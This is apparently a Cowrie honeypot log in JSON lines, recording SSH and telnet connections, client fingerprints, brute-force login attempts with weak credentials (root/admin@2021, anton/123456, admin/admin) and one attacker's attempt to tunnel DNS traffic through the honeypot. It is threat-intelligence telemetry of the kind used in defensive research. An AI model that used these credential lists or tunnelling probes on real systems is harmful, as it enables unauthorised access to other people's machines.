{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:13.301429Z","src_ip":"159.203.92.129","session":"71d04a59d091","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"123456","message":"login attempt [anton/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:13.311286Z","src_ip":"159.203.92.129","session":"71d04a59d091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:14.317702Z","src_ip":"159.203.92.129","session":"71d04a59d091","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.952455043792725,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:19.901007Z","src_ip":"103.49.70.87","session":"9f214b2ca54c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":42232,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb59418e583e","protocol":"telnet","message":"New connection: 103.49.70.87:42232 (10.17.0.5:23) [session: fb59418e583e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:20.370219Z"}
{"eventid":"cowrie.session.closed","duration":120.00114727020264,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:26.179419Z","src_ip":"185.26.126.47","session":"c5d1b252ffae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.305893659591675,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:27.128120Z","src_ip":"103.49.70.87","session":"a0850164fd4a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.24022126197815,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:28.204945Z","src_ip":"103.49.70.87","session":"e8f1c60e04b6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"118.193.33.81","src_port":29844,"dst_ip":"159.203.135.109","dst_port":22,"session":"2338d0b44947","protocol":"ssh","message":"New connection: 118.193.33.81:29844 (159.203.135.109:22) [session: 2338d0b44947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:29.621829Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:29.627208Z","src_ip":"118.193.33.81","session":"2338d0b44947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:29.847943Z","src_ip":"118.193.33.81","session":"2338d0b44947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"poo123","message":"login attempt [root/poo123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:30.739163Z","src_ip":"118.193.33.81","session":"2338d0b44947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.784761905670166,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:30.836648Z","src_ip":"103.49.70.87","session":"1c878595822f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:31.955870Z","src_ip":"118.193.33.81","session":"2338d0b44947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"210.79.142.221","src_port":41870,"dst_ip":"10.17.0.5","dst_port":22,"session":"322e78293698","protocol":"ssh","message":"New connection: 210.79.142.221:41870 (10.17.0.5:22) [session: 322e78293698]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:34.373862Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:34.378933Z","src_ip":"210.79.142.221","session":"322e78293698","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:34.623200Z","src_ip":"210.79.142.221","session":"322e78293698","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51892,"dst_ip":"10.17.0.5","dst_port":23,"session":"f0f36f375f8b","protocol":"telnet","message":"New connection: 103.49.70.87:51892 (10.17.0.5:23) [session: f0f36f375f8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:35.145422Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51900,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0ab32596d99","protocol":"telnet","message":"New connection: 103.49.70.87:51900 (10.17.0.5:23) [session: a0ab32596d99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:35.602328Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@2021","message":"login attempt [root/admin@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:35.634412Z","src_ip":"210.79.142.221","session":"322e78293698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:36.893078Z","src_ip":"210.79.142.221","session":"322e78293698","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.849071502685547,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:37.147632Z","src_ip":"103.49.70.87","session":"ccabf75b59ea","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.31615924835205,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:37.288706Z","src_ip":"103.49.70.87","session":"801f89d0c584","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51916,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2bd83160cdc","protocol":"telnet","message":"New connection: 103.49.70.87:51916 (10.17.0.5:23) [session: a2bd83160cdc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:37.501708Z"}
{"eventid":"cowrie.session.closed","duration":30.45499277114868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:38.183251Z","src_ip":"103.49.70.87","session":"890fedbd5bb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51920,"dst_ip":"10.17.0.5","dst_port":23,"session":"cafc684bd852","protocol":"telnet","message":"New connection: 103.49.70.87:51920 (10.17.0.5:23) [session: cafc684bd852]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:38.948279Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":31092,"dst_ip":"10.17.0.5","dst_port":22,"session":"5c6ff19aeb42","protocol":"ssh","message":"New connection: 87.251.64.176:31092 (10.17.0.5:22) [session: 5c6ff19aeb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.063001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.067931Z","src_ip":"87.251.64.176","session":"5c6ff19aeb42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.165814Z","src_ip":"87.251.64.176","session":"5c6ff19aeb42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.456210Z","src_ip":"87.251.64.176","session":"5c6ff19aeb42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.556122Z","session":"5c6ff19aeb42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.654404Z","src_ip":"87.251.64.176","session":"5c6ff19aeb42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:39.885892Z","src_ip":"87.251.64.176","session":"5c6ff19aeb42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":51922,"dst_ip":"10.17.0.5","dst_port":23,"session":"9541dda1b8d6","protocol":"telnet","message":"New connection: 103.49.70.87:51922 (10.17.0.5:23) [session: 9541dda1b8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:41.107983Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":54908,"dst_ip":"10.17.0.5","dst_port":23,"session":"735cad7cd734","protocol":"telnet","message":"New connection: 103.49.70.87:54908 (10.17.0.5:23) [session: 735cad7cd734]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:43.905596Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":54906,"dst_ip":"10.17.0.5","dst_port":23,"session":"071730026965","protocol":"telnet","message":"New connection: 103.49.70.87:54906 (10.17.0.5:23) [session: 071730026965]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:44.888665Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":54924,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d924e9d6c6f","protocol":"telnet","message":"New connection: 103.49.70.87:54924 (10.17.0.5:23) [session: 0d924e9d6c6f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:45.764281Z"}
{"eventid":"cowrie.session.connect","src_ip":"157.7.113.83","src_port":59742,"dst_ip":"159.203.135.109","dst_port":22,"session":"7c303e00af31","protocol":"ssh","message":"New connection: 157.7.113.83:59742 (159.203.135.109:22) [session: 7c303e00af31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:46.704071Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:46.708445Z","src_ip":"157.7.113.83","session":"7c303e00af31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:46.869520Z","src_ip":"157.7.113.83","session":"7c303e00af31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":54938,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb15c056c3db","protocol":"telnet","message":"New connection: 103.49.70.87:54938 (10.17.0.5:23) [session: cb15c056c3db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:47.060470Z"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"password","message":"login attempt [minecraft/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:47.521067Z","src_ip":"157.7.113.83","session":"7c303e00af31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.49.70.87","src_port":54934,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f4d3baae52a","protocol":"telnet","message":"New connection: 103.49.70.87:54934 (10.17.0.5:23) [session: 0f4d3baae52a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:47.526445Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:48.678222Z","src_ip":"157.7.113.83","session":"7c303e00af31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76173186302185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:51.131747Z","src_ip":"103.49.70.87","session":"fb59418e583e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50500,"dst_ip":"159.203.135.109","dst_port":22,"session":"8aa8cedf81be","protocol":"ssh","message":"New connection: 159.203.92.129:50500 (159.203.135.109:22) [session: 8aa8cedf81be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:59.239653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:59.244009Z","src_ip":"159.203.92.129","session":"8aa8cedf81be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:59.248159Z","src_ip":"159.203.92.129","session":"8aa8cedf81be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"anton","password":"anton","message":"login attempt [anton/anton] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T07:41:59.258955Z","src_ip":"159.203.92.129","session":"8aa8cedf81be","protocol":"ssh"}
